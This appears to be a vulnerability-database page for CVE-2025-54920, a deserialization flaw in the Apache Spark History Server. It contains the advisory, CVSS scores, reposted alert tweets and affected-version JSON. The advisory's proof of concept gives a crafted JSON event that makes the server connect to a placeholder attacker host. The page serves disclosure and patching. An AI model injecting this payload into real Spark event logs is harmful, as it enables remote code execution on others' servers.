AI description
CVE-2025-54920 is a code execution vulnerability found in Apache Spark versions prior to 3.5.7 and 4.0.1. This flaw resides within the Spark History Web UI and is caused by overly permissive Jackson deserialization of event log data. An attacker who has access to the Spark event logs directory can exploit this vulnerability by injecting malicious JSON payloads. These payloads trigger the deserialization of arbitrary classes, ultimately enabling command execution on the host where the Spark History Server is running.
- Description
- This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. Details The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability. Proof of Concept: 1. Run Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following JSON at the beginning of an event log file: { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } 3. Start the Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection. Impact An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
- Source
- security@apache.org
- NVD status
- Analyzed
- Products
- spark
CVSS 3.1
- Type
- Secondary
- Base score
- 8.8
- Impact score
- 5.9
- Exploitability score
- 2.8
- Vector string
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Severity
- HIGH
- security@apache.org
- CWE-502
- Hype score
- Not currently trending
🚨 CYBERDUDEBIVASH SENTINEL APEX ALERT 🚨 Threat: CVE-2025-54920 - Apache Spark: Spark History Server Code Execution Vulnerability Intel Report: https://t.co/37NbiQQkDw
@cyberbivash
14 Mar 2026
131 Impressions
0 Retweets
0 Likes
0 Bookmarks
1 Reply
0 Quotes
🚨 CYBERDUDEBIVASH SENTINEL APEX ALERT 🚨 Threat: CVE-2025-54920 - Apache Spark: Spark History Server Code Execution Vulnerability Intel Report: https://t.co/4lQ2FLWGWa
@cyberbivash
14 Mar 2026
130 Impressions
0 Retweets
0 Likes
0 Bookmarks
0 Replies
0 Quotes
🚨 CYBERDUDEBIVASH SENTINEL APEX ALERT 🚨 Threat: CVE-2025-54920 - Apache Spark: Spark History Server Code Execution Vulnerability Intel Report: https://t.co/aI1ON2G0w3
@cyberbivash
14 Mar 2026
115 Impressions
0 Retweets
0 Likes
0 Bookmarks
0 Replies
0 Quotes
🚨 CYBERDUDEBIVASH SENTINEL APEX ALERT 🚨 Threat: CVE-2025-54920 - Apache Spark: Spark History Server Code Execution Vulnerability Intel Report: https://t.co/jFwYz1A4ep
@cyberbivash
14 Mar 2026
123 Impressions
0 Retweets
0 Likes
0 Bookmarks
0 Replies
0 Quotes
CVE-2025-54920 This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Ap… https://t.co/pcr8nS24Le
@CVEnew
14 Mar 2026
98 Impressions
0 Retweets
0 Likes
0 Bookmarks
0 Replies
0 Quotes
CVE-2025-54920: Apache Spark: Spark History Server Code Execution Vulnerability https://t.co/DspaZZSC1f in the Spark History Web UI due to overly permissive Jackson deserialization of event log data
@oss_security
14 Mar 2026
675 Impressions
0 Retweets
2 Likes
2 Bookmarks
0 Replies
0 Quotes
CVE-2025-54920 CVE-2025-54920 https://t.co/w2OZOAzWce Customizable Vulnerability Alerts: https://t.co/U7998fz7yk
@VulmonFeeds
14 Mar 2026
200 Impressions
1 Retweet
1 Like
0 Bookmarks
0 Replies
0 Quotes
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:apache:spark:*:*:*:*:*:*:*:*",
"matchCriteriaId": "9D7D7694-BC03-478D-9F4B-143441071D93",
"versionEndExcluding": "3.5.7",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:apache:spark:4.0.0:-:*:*:*:*:*:*",
"matchCriteriaId": "DDCC2B9D-079B-4E07-9043-B11203EC9F2D",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:apache:spark:4.0.0:rc1:*:*:*:*:*:*",
"matchCriteriaId": "EFBBB699-7556-4930-B57C-77B61EF11F54",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:apache:spark:4.0.0:rc2:*:*:*:*:*:*",
"matchCriteriaId": "19E77AEE-7D2B-4A88-BB46-B214EBF0FD92",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:apache:spark:4.0.0:rc3:*:*:*:*:*:*",
"matchCriteriaId": "85BD7BB3-7A01-4A4F-BED5-FFC89071192A",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:apache:spark:4.0.0:rc4:*:*:*:*:*:*",
"matchCriteriaId": "50984263-15BA-4538-B7B7-D13C18FFD4D6",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:apache:spark:4.0.0:rc5:*:*:*:*:*:*",
"matchCriteriaId": "EF184C3A-6625-42DF-BAF8-052614E1670B",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:apache:spark:4.0.0:rc6:*:*:*:*:*:*",
"matchCriteriaId": "8631C8B2-821B-4E44-97EC-DD670C9FC730",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:apache:spark:4.0.0:rc7:*:*:*:*:*:*",
"matchCriteriaId": "37BF5C2F-9A7B-4084-9F7F-11DB4199631C",
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:apache:spark:4.0.1:rc1:*:*:*:*:*:*",
"matchCriteriaId": "8A685F3A-5A0F-4AC9-A07B-1C596B8B4596",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
]